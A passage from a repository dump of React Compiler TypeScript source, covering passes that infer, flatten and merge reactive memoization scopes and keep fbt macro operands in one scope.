that transitively contain a hook or use call. By running all\n * the reactive scope inference first, agnostic of hooks, we know that the reactive scopes accurately\n * describe the set of values which \"construct together\", and remove _all_ that memoization in order\n * to ensure the hook call does not inadvertently become conditional.\n */\nexport function flattenScopesWithHooksOrUseHIR(fn: HIRFunction): void {\n  const activeScopes: Array<{block: BlockId; fallthrough: BlockId}> = [];\n  const prune: Array<BlockId> = [];\n\n  for (const [, block] of fn.body.blocks) {\n    retainWhere(activeScopes, current => current.fallthrough !== block.id);\n\n    for (const instr of block.instructions) {\n      const {value} = instr;\n      switch (value.kind) {\n        case 'MethodCall':\n        case 'CallExpression': {\n          const callee =\n            value.kind === 'MethodCall' ? value.property : value.callee;\n          if (\n            getHookKind(fn.env, callee.identifier) != null ||\n            isUseOperator(callee.identifier)\n          ) {\n            prune.push(...activeScopes.map(entry => entry.block));\n            activeScopes.length = 0;\n          }\n        }\n      }\n    }\n    if (block.terminal.kind === 'scope') {\n      activeScopes.push({\n        block: block.id,\n        fallthrough: block.terminal.fallthrough,\n      });\n    }\n  }\n\n  for (const id of prune) {\n    const block = fn.body.blocks.get(id)!;\n    const terminal = block.terminal;\n    CompilerError.invariant(terminal.kind === 'scope', {\n      reason: `Expected block to have a scope terminal`,\n      description: `Expected block bb${block.id} to end in a scope terminal`,\n      loc: terminal.loc,\n    });\n    const body = fn.body.blocks.get(terminal.block)!;\n    if (\n      body.instructions.length === 1 &&\n      body.terminal.kind === 'goto' &&\n      body.terminal.block === terminal.fallthrough\n    ) {\n      /*\n       * This was a scope just for a hook call, which doesn't need memoization.\n       * flatten it away. We rely on the PrunedUnusedLabel step to do the actual\n       * flattening\n       */\n      block.terminal = {\n        kind: 'label',\n        block: terminal.block,\n        fallthrough: terminal.fallthrough,\n        id: terminal.id,\n        loc: terminal.loc,\n      } as LabelTerminal;\n      continue;\n    }\n\n    block.terminal = {\n      kind: 'pruned-scope',\n      block: terminal.block,\n      fallthrough: terminal.fallthrough,\n      id: terminal.id,\n      loc: terminal.loc,\n      scope: terminal.scope,\n    } as PrunedScopeTerminal;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/InferReactiveScopeVariables.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError, SourceLocation} from '..';\nimport {Environment} from '../HIR';\nimport {\n  DeclarationId,\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  Instruction,\n  InstructionId,\n  MutableRange,\n  Place,\n  ReactiveScope,\n  makeInstructionId,\n} from '../HIR/HIR';\nimport {\n  doesPatternContainSpreadElement,\n  eachInstructionOperand,\n  eachPatternOperand,\n} from '../HIR/visitors';\nimport DisjointSet from '../Utils/DisjointSet';\nimport {assertExhaustive} from '../Utils/utils';\n\n/*\n * Note: this is the 1st of 4 passes that determine how to break a function into discrete\n * reactive scopes (independently memoizeable units of code):\n * 1. InferReactiveScopeVariables (this pass, on HIR) determines operands that mutate\n *     together and assigns them a unique reactive scope.\n * 2. AlignReactiveScopesToBlockScopes (on ReactiveFunction) aligns reactive scopes\n *     to block scopes.\n * 3. MergeOverlappingReactiveScopes (on ReactiveFunction) ensures that reactive\n *     scopes do not overlap, merging any such scopes.\n * 4. BuildReactiveBlocks (on ReactiveFunction) groups the statements for each scope into\n *     a ReactiveScopeBlock.\n *\n * For each mutable variable, infers a reactive scope which will construct that\n * variable. Variables that co-mutate are assigned to the same reactive scope.\n * This pass does *not* infer the set of instructions necessary to compute each\n * variable/scope, only the set of variables that will be computed by each scope.\n *\n * Examples:\n * ```javascript\n * // Mutable arguments\n * let x = {};\n * let y = [];\n * foo(x, y); // both args mutable, could alias each other\n * y.push(x); // y is part of callee, counts as operand\n *\n * let z = {};\n * y.push(z);\n *\n * // Mutable assignment\n * let x = {};\n * let y = [];\n * x.y = y; // trivial aliasing\n * ```\n *\n * More generally, all mutable operands (incl lvalue) of an instruction must go in the\n * same scope.\n *\n * ## Implementation\n *\n * 1. Iterate over all instructions in all blocks (order does not matter, single pass),\n *     and create disjoint sets ({@link DisjointSet}) for each set of operands that\n *     mutate together per above rules.\n * 2. Iterate the contents of each set, and assign a new {@link ScopeId} to each set,\n *     and update the `scope` property of each item in that set to that scope id.\n *\n * ## Other Issues Uncovered\n *\n * Mutable lifetimes need to account for aliasing (known todo, already described in InferMutableLifetimes.ts)\n *\n * ```javascript\n * let x = {};\n * let y = [];\n * x.y = y; // RHS is not considered mutable here bc not further mutation\n * mutate(x); // bc y is aliased here, it should still be considered mutable above\n * ```\n */\nexport function inferReactiveScopeVariables(fn: HIRFunction): void {\n  /*\n   * Represents the set of reactive scopes as disjoint sets of identifiers\n   * that mutate together.\n   */\n  const scopeIdentifiers = findDisjointMutableValues(fn);\n\n  // Maps each scope (by its identifying member) to a ScopeId value\n  const scopes: Map<Identifier, ReactiveScope> = new Map();\n\n  /*\n   * Iterate over all the identifiers and assign a unique ScopeId\n   * for each scope (based on the set identifier).\n   *\n   * At the same time, group the identifiers in each scope and\n   * build a MutableRange that describes the span of mutations\n   * across all identifiers in each scope.\n   */\n  scopeIdentifiers.forEach((identifier, groupIdentifier) => {\n    let scope = scopes.get(groupIdentifier);\n    if (scope === undefined) {\n      scope = {\n        id: fn.env.nextScopeId,\n        range: identifier.mutableRange,\n        dependencies: new Set(),\n        declarations: new Map(),\n        reassignments: new Set(),\n        earlyReturnValue: null,\n        merged: new Set(),\n        loc: identifier.loc,\n      };\n      scopes.set(groupIdentifier, scope);\n    } else {\n      if (scope.range.start === 0) {\n        scope.range.start = identifier.mutableRange.start;\n      } else if (identifier.mutableRange.start !== 0) {\n        scope.range.start = makeInstructionId(\n          Math.min(scope.range.start, identifier.mutableRange.start),\n        );\n      }\n      scope.range.end = makeInstructionId(\n        Math.max(scope.range.end, identifier.mutableRange.end),\n      );\n      scope.loc = mergeLocation(scope.loc, identifier.loc);\n    }\n    identifier.scope = scope;\n    identifier.mutableRange = scope.range;\n  });\n\n  let maxInstruction = 0;\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      maxInstruction = makeInstructionId(Math.max(maxInstruction, instr.id));\n    }\n    maxInstruction = makeInstructionId(\n      Math.max(maxInstruction, block.terminal.id),\n    );\n  }\n\n  /*\n   * Validate that all scopes have properly initialized, valid mutable ranges\n   * within the span of instructions for this function, ie from 1 to 1 past\n   * the last instruction id.\n   */\n  for (const [, scope] of scopes) {\n    if (\n      scope.range.start === 0 ||\n      scope.range.end === 0 ||\n      maxInstruction === 0 ||\n      scope.range.end > maxInstruction + 1\n    ) {\n      // Make it easier to debug why the error occurred\n      fn.env.logger?.debugLogIRs?.({\n        kind: 'hir',\n        name: 'InferReactiveScopeVariables (invalid scope)',\n        value: fn,\n      });\n      CompilerError.invariant(false, {\n        reason: `Invalid mutable range for scope`,\n        description: `Scope @${scope.id} has range [${scope.range.start}:${\n          scope.range.end\n        }] but the valid range is [1:${maxInstruction + 1}]`,\n        loc: GeneratedSource,\n      });\n    }\n  }\n}\n\nfunction mergeLocation(l: SourceLocation, r: SourceLocation): SourceLocation {\n  if (l === GeneratedSource) {\n    return r;\n  } else if (r === GeneratedSource) {\n    return l;\n  } else {\n    return {\n      filename: l.filename,\n      identifierName: l.identifierName,\n      start: {\n        index: Math.min(l.start.index, r.start.index),\n        line: Math.min(l.start.line, r.start.line),\n        column: Math.min(l.start.column, r.start.column),\n      },\n      end: {\n        index: Math.max(l.end.index, r.end.index),\n        line: Math.max(l.end.line, r.end.line),\n        column: Math.max(l.end.column, r.end.column),\n      },\n    };\n  }\n}\n\n// Is the operand mutable at this given instruction\nexport function isMutable(instr: {id: InstructionId}, place: Place): boolean {\n  return inRange(instr, place.identifier.mutableRange);\n}\n\nexport function inRange(\n  {id}: {id: InstructionId},\n  range: MutableRange,\n): boolean {\n  return id >= range.start && id < range.end;\n}\n\nfunction mayAllocate(_env: Environment, instruction: Instruction): boolean {\n  const {value} = instruction;\n  switch (value.kind) {\n    case 'Destructure': {\n      return doesPatternContainSpreadElement(value.lvalue.pattern);\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate':\n    case 'Await':\n    case 'DeclareLocal':\n    case 'DeclareContext':\n    case 'StoreLocal':\n    case 'LoadGlobal':\n    case 'MetaProperty':\n    case 'TypeCastExpression':\n    case 'LoadLocal':\n    case 'LoadContext':\n    case 'StoreContext':\n    case 'PropertyDelete':\n    case 'ComputedLoad':\n    case 'ComputedDelete':\n    case 'JSXText':\n    case 'TemplateLiteral':\n    case 'Primitive':\n    case 'GetIterator':\n    case 'IteratorNext':\n    case 'NextPropertyOf':\n    case 'Debugger':\n    case 'StartMemoize':\n    case 'FinishMemoize':\n    case 'UnaryExpression':\n    case 'BinaryExpression':\n    case 'PropertyLoad':\n    case 'StoreGlobal': {\n      return false;\n    }\n    case 'TaggedTemplateExpression':\n    case 'CallExpression':\n    case 'MethodCall': {\n      return instruction.lvalue.identifier.type.kind !== 'Primitive';\n    }\n    case 'RegExpLiteral':\n    case 'PropertyStore':\n    case 'ComputedStore':\n    case 'ArrayExpression':\n    case 'JsxExpression':\n    case 'JsxFragment':\n    case 'NewExpression':\n    case 'ObjectExpression':\n    case 'UnsupportedNode':\n    case 'ObjectMethod':\n    case 'FunctionExpression': {\n      return true;\n    }\n    default: {\n      assertExhaustive(\n        value,\n        `Unexpected value kind \\`${(value as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function findDisjointMutableValues(\n  fn: HIRFunction,\n): DisjointSet<Identifier> {\n  const scopeIdentifiers = new DisjointSet<Identifier>();\n\n  const declarations = new Map<DeclarationId, Identifier>();\n  function declareIdentifier(lvalue: Place): void {\n    if (!declarations.has(lvalue.identifier.declarationId)) {\n      declarations.set(lvalue.identifier.declarationId, lvalue.identifier);\n    }\n  }\n\n  for (const [_, block] of fn.body.blocks) {\n    /*\n     * If a phi is mutated after creation, then we need to alias all of its operands such that they\n     * are assigned to the same scope.\n     */\n    for (const phi of block.phis) {\n      if (\n        phi.place.identifier.mutableRange.start + 1 !==\n          phi.place.identifier.mutableRange.end &&\n        phi.place.identifier.mutableRange.end >\n          (block.instructions.at(0)?.id ?? block.terminal.id)\n      ) {\n        const operands = [phi.place.identifier];\n        const declaration = declarations.get(\n          phi.place.identifier.declarationId,\n        );\n        if (declaration !== undefined) {\n          operands.push(declaration);\n        }\n        for (const [_, phiId] of phi.operands) {\n          operands.push(phiId.identifier);\n        }\n        scopeIdentifiers.union(operands);\n      } else if (fn.env.config.enableForest) {\n        for (const [, phiId] of phi.operands) {\n          scopeIdentifiers.union([phi.place.identifier, phiId.identifier]);\n        }\n      }\n    }\n\n    for (const instr of block.instructions) {\n      const operands: Array<Identifier> = [];\n      const range = instr.lvalue.identifier.mutableRange;\n      if (range.end > range.start + 1 || mayAllocate(fn.env, instr)) {\n        operands.push(instr.lvalue!.identifier);\n      }\n      if (\n        instr.value.kind === 'DeclareLocal' ||\n        instr.value.kind === 'DeclareContext'\n      ) {\n        declareIdentifier(instr.value.lvalue.place);\n      } else if (\n        instr.value.kind === 'StoreLocal' ||\n        instr.value.kind === 'StoreContext'\n      ) {\n        declareIdentifier(instr.value.lvalue.place);\n        if (\n          instr.value.lvalue.place.identifier.mutableRange.end >\n          instr.value.lvalue.place.identifier.mutableRange.start + 1\n        ) {\n          operands.push(instr.value.lvalue.place.identifier);\n        }\n        if (\n          isMutable(instr, instr.value.value) &&\n          instr.value.value.identifier.mutableRange.start > 0\n        ) {\n          operands.push(instr.value.value.identifier);\n        }\n      } else if (instr.value.kind === 'Destructure') {\n        for (const place of eachPatternOperand(instr.value.lvalue.pattern)) {\n          declareIdentifier(place);\n          if (\n            place.identifier.mutableRange.end >\n            place.identifier.mutableRange.start + 1\n          ) {\n            operands.push(place.identifier);\n          }\n        }\n        if (\n          isMutable(instr, instr.value.value) &&\n          instr.value.value.identifier.mutableRange.start > 0\n        ) {\n          operands.push(instr.value.value.identifier);\n        }\n      } else if (instr.value.kind === 'MethodCall') {\n        for (const operand of eachInstructionOperand(instr)) {\n          if (\n            isMutable(instr, operand) &&\n            /*\n             * exclude global variables from being added to scopes, we can't recreate them!\n             * TODO: improve handling of module-scoped variables and globals\n             */\n            operand.identifier.mutableRange.start > 0\n          ) {\n            operands.push(operand.identifier);\n          }\n        }\n        /*\n         * Ensure that the ComputedLoad to resolve the method is in the same scope as the\n         * call itself\n         */\n        operands.push(instr.value.property.identifier);\n      } else {\n        for (const operand of eachInstructionOperand(instr)) {\n          if (\n            isMutable(instr, operand) &&\n            /*\n             * exclude global variables from being added to scopes, we can't recreate them!\n             * TODO: improve handling of module-scoped variables and globals\n             */\n            operand.identifier.mutableRange.start > 0\n          ) {\n            operands.push(operand.identifier);\n          }\n        }\n      }\n      if (operands.length !== 0) {\n        scopeIdentifiers.union(operands);\n      }\n    }\n  }\n  return scopeIdentifiers;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  HIRFunction,\n  IdentifierId,\n  InstructionValue,\n  makeInstructionId,\n  MutableRange,\n  Place,\n  ReactiveScope,\n} from '../HIR';\nimport {Macro} from '../HIR/Environment';\nimport {eachInstructionValueOperand} from '../HIR/visitors';\n\n/**\n * Whether a macro requires its arguments to be transitively inlined (eg fbt)\n * or just avoid having the top-level values be converted to variables (eg fbt.param)\n */\nenum InlineLevel {\n  Transitive = 'Transitive',\n  Shallow = 'Shallow',\n}\ntype MacroDefinition = {\n  level: InlineLevel;\n  properties: Map<string, MacroDefinition> | null;\n};\n\nconst SHALLOW_MACRO: MacroDefinition = {\n  level: InlineLevel.Shallow,\n  properties: null,\n};\nconst TRANSITIVE_MACRO: MacroDefinition = {\n  level: InlineLevel.Transitive,\n  properties: null,\n};\nconst FBT_MACRO: MacroDefinition = {\n  level: InlineLevel.Transitive,\n  properties: new Map([['*', SHALLOW_MACRO]]),\n};\nFBT_MACRO.properties!.set('enum', FBT_MACRO);\n\n/**\n * This pass supports the `fbt` translation system (https://facebook.github.io/fbt/)\n * as well as similar user-configurable macro-like APIs where it's important that\n * the name of the function not be changed, and it's literal arguments not be turned\n * into temporaries.\n *\n * ## FBT\n *\n * FBT provides the `<fbt>` JSX element and `fbt()` calls (which take params in the\n * form of `<fbt:param>` children or `fbt.param()` arguments, respectively). These\n * tags/functions have restrictions on what types of syntax may appear as props/children/\n * arguments, notably that variable references may not appear directly — variables\n * must always be wrapped in a `<fbt:param>` or `fbt.param()`.\n *\n * To ensure that Forget doesn't rewrite code to violate this restriction, we force\n * operands to fbt tags/calls have the same scope as the tag/call itself.\n *\n * Note that this still allows the props/arguments of `<fbt:param>`/`fbt.param()`\n * to be independently memoized.\n *\n * ## User-defined macro-like function\n *\n * Users can also specify their own functions to be treated similarly to fbt via the\n * `customMacros` environment configuration. By default, user-supplied custom macros\n * have their arguments transitively inlined.\n */\nexport function memoizeFbtAndMacroOperandsInSameScope(\n  fn: HIRFunction,\n): Set<IdentifierId> {\n  const macroKinds = new Map<Macro, MacroDefinition>([\n    ...Array.from(FBT_TAGS.entries()),\n    ...(fn.env.config.customMacros ?? []).map(\n      name => [name, TRANSITIVE_MACRO] as [Macro, MacroDefinition],\n    ),\n  ]);\n  /**\n   * Forward data-flow analysis to identify all macro tags, including\n   * things like `fbt.foo.bar(...)`\n   */\n  const macroTags = populateMacroTags(fn, macroKinds);\n\n  /**\n   * Reverse data-flow analysis to merge arguments to macro *invocations*\n   * based on the kind of the macro\n   */\n  const macroValues = mergeMacroArguments(fn, macroTags, macroKinds);\n\n  return macroValues;\n}\n\nconst FBT_TAGS: Map<string, MacroDefinition> = new Map([\n  ['fbt', FBT_MACRO],\n  ['fbt:param', SHALLOW_MACRO],\n  ['fbt:enum', FBT_MACRO],\n  ['fbt:plural', SHALLOW_MACRO],\n  ['fbs', FBT_MACRO],\n  ['fbs:param', SHALLOW_MACRO],\n  ['fbs:enum', FBT_MACRO],\n  ['fbs:plural', SHALLOW_MACRO],\n]);\nexport const SINGLE_CHILD_FBT_TAGS: Set<string> = new Set([\n  'fbt:param',\n  'fbs:param',\n]);\n\nfunction populateMacroTags(\n  fn: HIRFunction,\n  macroKinds: Map<Macro, MacroDefinition>,\n): Map<IdentifierId, MacroDefinition> {\n  const macroTags = new Map<IdentifierId, MacroDefinition>();\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'Primitive': {\n          if (typeof value.value === 'string') {\n            const macroDefinition = macroKinds.get(value.value);\n            if (macroDefinition != null) {\n              /*\n               * We don't distinguish between tag names and strings, so record\n               * all `fbt` string literals in case they are used as a jsx tag.\n               */\n              macroTags.set(lvalue.identifier.id, macroDefinition);\n            }\n          }\n          break;\n        }\n        case 'LoadGlobal': {\n          let macroDefinition = macroKinds.get(value.binding.name);\n          if (macroDefinition != null) {\n            macroTags.set(lvalue.identifier.id, macroDefinition);\n          }\n          break;\n        }\n        case 'PropertyLoad': {\n          if (typeof value.property === 'string') {\n            const macroDefinition = macroTags.get(value.object.identifier.id);\n            if (macroDefinition != null) {\n              const propertyDefinition =\n                macroDefinition.properties != null\n                  ? (macroDefinition.properties.get(value.property) ??\n                    macroDefinition.properties.get('*'))\n                  : null;\n              const propertyMacro = propertyDefinition ?? macroDefinition;\n              macroTags.set(lvalue.identifier.id, propertyMacro);\n            }\n          }\n          break;\n        }\n      }\n    }\n  }\n  return macroTags;\n}\n\nfunction mergeMacroArguments(\n  fn: HIRFunction,\n  macroTags: Map<IdentifierId, MacroDefinition>,\n  macroKinds: Map<Macro, MacroDefinition>,\n): Set<IdentifierId> {\n  const macroValues = new Set<IdentifierId>(macroTags.keys());\n  for (const block of Array.from(fn.body.blocks.values()).reverse()) {\n    for (let i = block.instructions.length - 1; i >= 0; i--) {\n      const instr = block.instructions[i]!;\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'DeclareContext':\n        case 'DeclareLocal':\n        case 'Destructure':\n        case 'LoadContext':\n        case 'LoadLocal':\n        case 'PostfixUpdate':\n        case 'PrefixUpdate':\n        case 'StoreContext':\n        case 'StoreLocal': {\n          // Instructions that never need to be merged\n          break;\n        }\n        case 'CallExpression':\n        case 'MethodCall': {\n          const scope = lvalue.identifier.scope;\n          if (scope == null) {\n            continue;\n          }\n          const callee =\n            value.kind === 'CallExpression' ? value.callee : value.property;\n          const macroDefinition =\n            macroTags.get(callee.identifier.id) ??\n            macroTags.get(lvalue.identifier.id);\n          if (macroDefinition != null) {\n            visitOperands(\n              macroDefinition,\n              scope,\n              lvalue,\n              value,\n              macroValues,\n              macroTags,\n            );\n          }\n          break;\n        }\n        case 'JsxExpression': {\n          const scope = lvalue.identifier.scope;\n          if (scope == null) {\n            continue;\n          }\n          let macroDefinition;\n          if (value.tag.kind === 'Identifier') {\n            macroDefinition = macroTags.get(value.tag.identifier.id);\n          } else {\n            macroDefinition = macroKinds.get(value.tag.name);\n          }\n          macroDefinition ??= macroTags.get(lvalue.identifier.id);\n          if (macroDefinition != null) {\n            visitOperands(\n              macroDefinition,\n              scope,\n              lvalue,\n              value,\n              macroValues,\n              macroTags,\n            );\n          }\n          break;\n        }\n        default: {\n          const scope = lvalue.identifier.scope;\n          if (scope == null) {\n            continue;\n          }\n          const macroDefinition = macroTags.get(lvalue.identifier.id);\n          if (macroDefinition != null) {\n            visitOperands(\n              macroDefinition,\n              scope,\n              lvalue,\n              value,\n              macroValues,\n              macroTags,\n            );\n          }\n          break;\n        }\n      }\n    }\n    for (const phi of block.phis) {\n      const scope = phi.place.identifier.scope;\n      if (scope == null) {\n        continue;\n      }\n      const macroDefinition = macroTags.get(phi.place.identifier.id);\n      if (\n        macroDefinition == null ||\n        macroDefinition.level === InlineLevel.Shallow\n      ) {\n        continue;\n      }\n      macroValues.add(phi.place.identifier.id);\n      for (const operand of phi.operands.values()) {\n        operand.identifier.scope = scope;\n        expandFbtScopeRange(scope.range, operand.identifier.mutableRange);\n        macroTags.set(operand.identifier.id, macroDefinition);\n        macroValues.add(operand.identifier.id);\n      }\n    }\n  }\n  return macroValues;\n}\n\nfunction expandFbtScopeRange(\n  fbtRange: MutableRange,\n  extendWith: MutableRange,\n): void {\n  if (extendWith.start !== 0) {\n    fbtRange.start = makeInstructionId(\n      Math.min(fbtRange.start, extendWith.start),\n    );\n  }\n}\n\nfunction visitOperands(\n  macroDefinition: MacroDefinition,\n  scope: ReactiveScope,\n  lvalue: Place,\n  value: InstructionValue,\n  macroValues: Set<IdentifierId>,\n  macroTags: Map<IdentifierId, MacroDefinition>,\n): void {\n  macroValues.add(lvalue.identifier.id);\n  for (const operand of eachInstructionValueOperand(value)) {\n    if (macroDefinition.level === InlineLevel.Transitive) {\n      operand.identifier.scope = scope;\n      expandFbtScopeRange(scope.range, operand.identifier.mutableRange);\n      macroTags.set(operand.identifier.id, macroDefinition);\n    }\n    macroValues.add(operand.identifier.id);\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  DeclarationId,\n  GeneratedSource,\n  InstructionId,\n  InstructionKind,\n  Place,\n  ReactiveBlock,\n  ReactiveFunction,\n  ReactiveScope,\n  ReactiveScopeBlock,\n  ReactiveScopeDependencies,\n  ReactiveScopeDependency,\n  ReactiveStatement,\n  Type,\n  areEqualPaths,\n  makeInstructionId,\n} from '../HIR';\nimport {\n  BuiltInArrayId,\n  BuiltInFunctionId,\n  BuiltInJsxId,\n  BuiltInObjectId,\n} from '../HIR/ObjectShape';\nimport {eachInstructionLValue} from '../HIR/visitors';\nimport {assertExhaustive, Iterable_some} from '../Utils/utils';\nimport {printReactiveScopeSummary} from './PrintReactiveFunction';\nimport {\n  ReactiveFunctionTransform,\n  ReactiveFunctionVisitor,\n  Transformed,\n  visitReactiveFunction,\n} from './visitors';\n\n/*\n * The primary goal of this pass is to reduce memoization overhead, specifically:\n * - Use fewer memo slots\n * - Reduce the number of comparisons and other memoization-related instructions\n *\n * The algorithm merges in two main cases: consecutive scopes that invalidate together\n * or nested scopes that invalidate together\n *\n * ## Consecutive Scopes\n *\n * The idea is that if two consecutive scopes would always invalidate together,\n * it's more efficient to group the scopes together to save on memoization overhead.\n *\n * This optimization is necessarily somewhat limited. First, we only merge\n * scopes that are in the same (reactive) block, ie we don't merge across\n * control-flow or block-scoping boundaries. Second, we can only merge scopes\n * so long as any intermediate instructions are safe to memoize — specifically,\n * as long as the values created by those instructions are only referenced by\n * the second scope and not elsewhere. This is to avoid changing control-flow\n * and to avoid increasing the number of scope outputs (which defeats the optimization).\n *\n * With that in mind we can apply the optimization in two cases. Given a block with\n * scope A, some safe-to-memoize instructions I, and scope B, we can merge scopes when:\n * - A and B have identical dependencies. This means they will invalidate together, so\n *    by merging the scopes we can avoid duplicate cache slots and duplicate checks of\n *    those dependencies.\n * - The output of A is the input to B. Any invalidation of A will change its output\n *    which invalidates B, so we can similarly merge scopes. Note that this optimization\n *    may not be beneficial if the outupts of A are not guaranteed to change if its input\n *    changes, but in practice this is generally the case.\n *\n * ## Nested Scopes\n *\n * In this case, if an inner scope has the same dependencies as its parent, then we can\n * flatten away the inner scope since it will always invalidate at the same time.\n *\n * Note that PropagateScopeDependencies propagates scope dependencies upwards. This ensures\n * that parent scopes have the union of their own direct dependencies as well as those of\n * their (transitive) children. As a result nested scopes may have the same or fewer\n * dependencies than their parents, but not more dependencies. If they have fewer dependncies,\n * it means that the inner scope does not always invalidate with the parent and we should not\n * flatten. If they inner scope has the exact same dependencies, however, then it's always\n * better to flatten.\n */\nexport function mergeReactiveScopesThatInvalidateTogether(\n  fn: ReactiveFunction,\n): void {\n  const lastUsageVisitor = new FindLastUsageVisitor();\n  visitReactiveFunction(fn, lastUsageVisitor, undefined);\n  visitReactiveFunction(fn, new Transform(lastUsageVisitor.lastUsage), null);\n}\n\nconst DEBUG: boolean = false;\nfunction log(msg: string): void {\n  if (DEBUG) {\n    console.log(msg);\n  }\n}\n\nclass FindLastUsageVisitor extends ReactiveFunctionVisitor<void> {\n  /*\n   * TODO LeaveSSA: use IdentifierId for more precise tracking\n   * Using DeclarationId is necessary for compatible output but produces suboptimal results\n   * in cases where a scope defines a variable, but that version is never read and always\n   * overwritten later.\n   * see reassignment-separate-scopes.js for example\n   */\n  lastUsage: Map<DeclarationId, InstructionId> = new Map();\n\n  override visitPlace(id: InstructionId, place: Place, _state: void): void {\n    const previousUsage = this.lastUsage.get(place.identifier.declarationId);\n    const lastUsage =\n      previousUsage !== undefined\n        ? makeInstructionId(Math.max(previousUsage, id))\n        : id;\n    this.lastUsage.set(place.identifier.declarationId, lastUsage);\n  }\n}\n\nclass Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | null> {\n  lastUsage: Map<DeclarationId, InstructionId>;\n  temporaries: Map<DeclarationId, DeclarationId> = new Map();\n\n  constructor(lastUsage: Map<DeclarationId, InstructionId>) {\n    super();\n    this.lastUsage = lastUsage;\n  }\n\n  override transformScope(\n    scopeBlock: ReactiveScopeBlock,\n    state: ReactiveScopeDependencies | null,\n  ): Transformed<ReactiveStatement> {\n    this.visitScope(scopeBlock, scopeBlock.scope.dependencies);\n    if (\n      state !== null &&\n      areEqualDependencies(state, scopeBlock.scope.dependencies)\n    ) {\n      return {kind: 'replace-many', value: scopeBlock.instructions};\n    } else {\n      return {kind: 'keep'};\n    }\n  }\n\n  override visitBlock(\n    block: ReactiveBlock,\n    state: ReactiveScopeDependencies | null,\n  ): void {\n    // Pass 1: visit nested blocks to potentially merge their scopes\n    this.traverseBlock(block, state);\n\n    // Pass 2: identify scopes for merging\n    type MergedScope = {\n      block: ReactiveScopeBlock;\n      from: number;\n      to: number;\n      lvalues: Set<DeclarationId>;\n    };\n    let current: MergedScope | null = null;\n    const merged: Array<MergedScope> = [];\n    function reset(): void {\n      CompilerError.invariant(current !== null, {\n        reason:\n          'MergeConsecutiveScopes: expected current scope to be non-null if reset()',\n        loc: GeneratedSource,\n      });\n      if (current.to > current.from + 1) {\n        merged.push(current);\n      }\n      current = null;\n    }\n    for (let i = 0; i < block.length; i++) {\n      const instr = block[i]!;\n      switch (instr.kind) {\n        case 'terminal': {\n          // For now we don't merge across terminals\n          if (current !== null) {\n            log(\n              `Reset scope @${current.block.scope.id} from terminal [${instr.terminal.id}]`,\n            );\n            reset();\n          }\n          break;\n        }\n        case 'pruned-scope': {\n          // For now we don't merge across pruned scopes\n          if (current !== null) {\n            log(\n              `Reset scope @${current.block.scope.id} from pruned scope @${instr.scope.id}`,\n            );\n            reset();\n          }\n          break;\n        }\n        case 'instruction': {\n          switch (instr.instruction.value.kind) {\n            case 'BinaryExpression':\n            case 'ComputedLoad':\n            case 'JSXText':\n            case 'LoadGlobal':\n            case 'LoadLocal':\n            case 'Primitive':\n            case 'PropertyLoad':\n            case 'TemplateLiteral':\n            case 'UnaryExpression': {\n              /*\n               * We can merge two scopes if there are intervening instructions, but:\n               * - Only if the instructions are simple and it's okay to make them\n               *   execute conditionally (hence allowing a conservative subset of value kinds)\n               * - The values produced are used at or before the next scope. If they are used\n               *   later and we move them into the scope, then they wouldn't be accessible to\n               *   subsequent code wo expanding the set of declarations, which we want to avoid\n               */\n              if (current !== null && instr.instruction.lvalue !== null) {\n                current.lvalues.add(\n                  instr.instruction.lvalue.identifier.declarationId,\n                );\n                if (instr.instruction.value.kind === 'LoadLocal') {\n                  this.temporaries.set(\n                    instr.instruction.lvalue.identifier.declarationId,\n                    instr.instruction.value.place.identifier.declarationId,\n                  );\n                }\n              }\n              break;\n            }\n            case 'StoreLocal': {\n              /**\n               * It's safe to have intervening StoreLocal instructions _if_ they are const\n               * and the last usage of the variable is at or before the next scope. This is\n               * similar to the case above for simple instructions.\n               *\n               * Reassignments are *not* safe to merge since they are a side-effect that we\n               * don't want to make conditional.\n               */\n              if (current !== null) {\n                if (\n                  instr.instruction.value.lvalue.kind === InstructionKind.Const\n                ) {\n                  for (const lvalue of eachInstructionLValue(\n                    instr.instruction,\n                  )) {\n                    current.lvalues.add(lvalue.identifier.declarationId);\n                  }\n                  this.temporaries.set(\n                    instr.instruction.value.lvalue.place.identifier\n                      .declarationId,\n                    this.temporaries.get(\n                      instr.instruction.value.value.identifier.declarationId,\n                    ) ?? instr.instruction.value.value.identifier.declarationId,\n                  );\n                } else {\n                  log(\n                    `Reset scope @${current.block.scope.id} from StoreLocal in [${instr.instruction.id}]`,\n                  );\n                  reset();\n                }\n              }\n              break;\n            }\n            default: {\n              // Other instructions are known to prevent merging, so we reset the scope if present\n              if (current !== null) {\n                log(\n                  `Reset scope @${current.block.scope.id} from instruction [${instr.instruction.id}]`,\n                );\n                reset();\n              }\n            }\n          }\n          break;\n        }\n        case 'scope': {\n          if (\n            current !== null &&\n            canMergeScopes(current.block, instr, this.temporaries) &&\n            areLValuesLastUsedByScope(\n              instr.scope,\n              current.lvalues,\n              this.lastUsage,\n            )\n          ) {\n            // The current and next scopes can merge!\n            log(\n              `Can merge scope @${current.block.scope.id} with @${instr.scope.id}`,\n            );\n            // Update the merged scope's range\n            current.block.scope.range.end = makeInstructionId(\n              Math.max(current.block.scope.range.end, 